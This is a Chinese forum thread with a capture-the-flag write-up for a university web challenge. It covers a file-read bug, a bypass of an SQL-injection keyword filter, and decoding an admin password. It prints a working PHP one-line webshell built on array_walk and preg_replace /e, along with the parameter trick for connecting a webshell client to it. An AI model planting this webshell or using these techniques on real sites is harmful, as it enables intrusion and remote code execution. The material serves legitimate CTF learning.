九零登录

[【通过】] 南京邮电大学攻防平台web

[复制链接]
发表于 2016-11-8 17:57:08 | 显示全部楼层 |阅读模式
【题目】
前段时间信安协会群里有人发了这样一道题求助,我研究了好久,最后成功搞定。。

题目地址:http://cms.nuptzj.cn/
1.jpg



【解题思路】

在页尾发现一个留言系统,猜测可能考察XSS,于是试探性得alert一下看看,

2.jpg



提交发现

3.jpg

题目说不是XSS,那就换思路吧。


在页面尾部发现一个 【本CMS说明】   点进去看看    发现一个可疑的链接   

http://cms.nuptzj.cn/about.php?file=sm.txt

并且给出了以下提示信息
4.jpg

这么明显的文件读取漏洞可不能错过。

于是http://cms.nuptzj.cn/about.php?file=index.php
先读取一下index.php   因为一般可以通过index.php逐步获取其他有用信息。
Index.php没有什么特别值得关注的

在index.php中发现文件  antixss.php   config.php   so.php   preview.php   about.php

尝试利用about.php读取这5个文件       

在本文件即about.php中
5.jpg

发现过滤了config.php和loginxlcteam
访问loginxlcteam  发现是一个登陆界面

6.jpg

继续读取,在so.php中发现了感兴趣的代码
7.jpg

而so.php对应的功能就是主页上的搜索功能
8.jpg
9.jpg
10.jpg
这里在sql语句中有变量,看看变量是否过滤,过滤了,使用了antiinject.php
继续使用about.php读取这个文件
11.jpg

这个过滤函数将这些关键字符串现转化为小写,然后替换为空,这里可以用seselectlect 之类的绕过
于是确定这里存在注入。。这就是突破口了。。
然后结合刚开始读取的sm.txt可以知道管理员表为admin
12.jpg
并且知道了表结构

首先在浏览器测试一下,用火狐插件修改UA为Xlcteam Browser   构造注入

13.jpg
有回显,用py写一个盲注脚本
14.jpg

得到密码为   1020117099010701140117011001160117
可是这是怎么加密的呢。。。

首先想到会不会是使用ascii的方式

尝试每三位一起 发现每过可以表示成字母的ascii码(三位或两位)都有一个0隔开,
于是逐位把字母找出来。。。  最后得到串   fuckruntu
(后来看到官方wp说在加密算法在passencode.php中。。。。)

使用账号admin 密码 fuckruntu   登陆前面找到的xlcteam登陆页面
登陆成功后得到提示
15.jpg

提示说在根目录有一个一句话马,使用about.php读取,得到一句话为

<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>

这样的马还是第一次见,以前看到的过狗一句话,各种加密一句话,都是在变量上大做文章,让狗检测不出来,这个一句话数组中的“|.*|e”实在看不懂,没办法,看不懂就搜吧。
在文档中array_walk的解释如下
16.jpg
通过反复查询基本搞清楚了这个一句话工作原理,由于preg_replace()函数在正则中使用参数/e的话,被替换的参数就会被当作php代码执行。所以将www设为preg_replace
|.*|e会将
数组中的wtf参数传过来的会被自动在后面添加/e   测试方式如下
17.jpg

到这里,我以为离成功只离一步之遥了,后来证明我想多了。。

于是我准备列目录查看文件,。。。。。。
。。。。
但是,如何列目录呢,我不会丫,这里不是system()之类的 就别想了。。。
有的人说用菜刀连啊,可是菜刀只有一个参数啊。。

瞬间有种被骗的感觉。。。
一段时间后,我临机一动,可以抓菜刀得post数据看看,用它来列目录。
但我这里有一个网页版的一句话客户端,那就抓去它吧。
18.jpg
抓到后好长一段代码
19.jpg


试了在这里也不能显示。。。

后来仔细分析了一下,发现一句话的www的参数是以REQUESTP[]方式获取的,也就是说,不仅能获取POST过来的数据,也可以获取GET过来的数据。于是冥思苦想怎么样在菜刀中同时能传两个参数。既然一个可以是GET,一个是POST,在菜刀中构造一句话连接时把www参数传递过去怎么样,以前的时候是直接在菜刀地址直接填一句话地址。。这次剑走偏锋,试一试,,  http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
20.jpg

连接
成功获取shell
21.jpg

获取flag
22.jpg
【flag】
flag:nctf{you_are_s0_g00d_hacker}

这题出的实在是太好了,赶紧把源代码弄下来,部署到我的vps上供协会会员共同学习(出题人不要怪罪哈哈哈)   


评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-11-8 19:04:58 | 显示全部楼层
是一个简单的小包含漏洞。很有趣
发表于 2016-11-8 20:05:05 | 显示全部楼层
确实很有趣,我去试试水
发表于 2016-11-8 20:38:38 | 显示全部楼层
不是REQUESTP也可以连接呐,密码填写:
[PHP] 纯文本查看 复制代码
www=preg_replace&wtf
发表于 2016-11-9 18:51:57 | 显示全部楼层
这题算是那个平台上比较有水平的了,别的题都有点太明显了。
发表于 2016-11-10 11:36:08 | 显示全部楼层
小伙子。看得出来你对一句话没啥研究
发表于 2016-11-12 17:39:34 | 显示全部楼层

九零

GMT+8, 2026-10-22 15:17

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表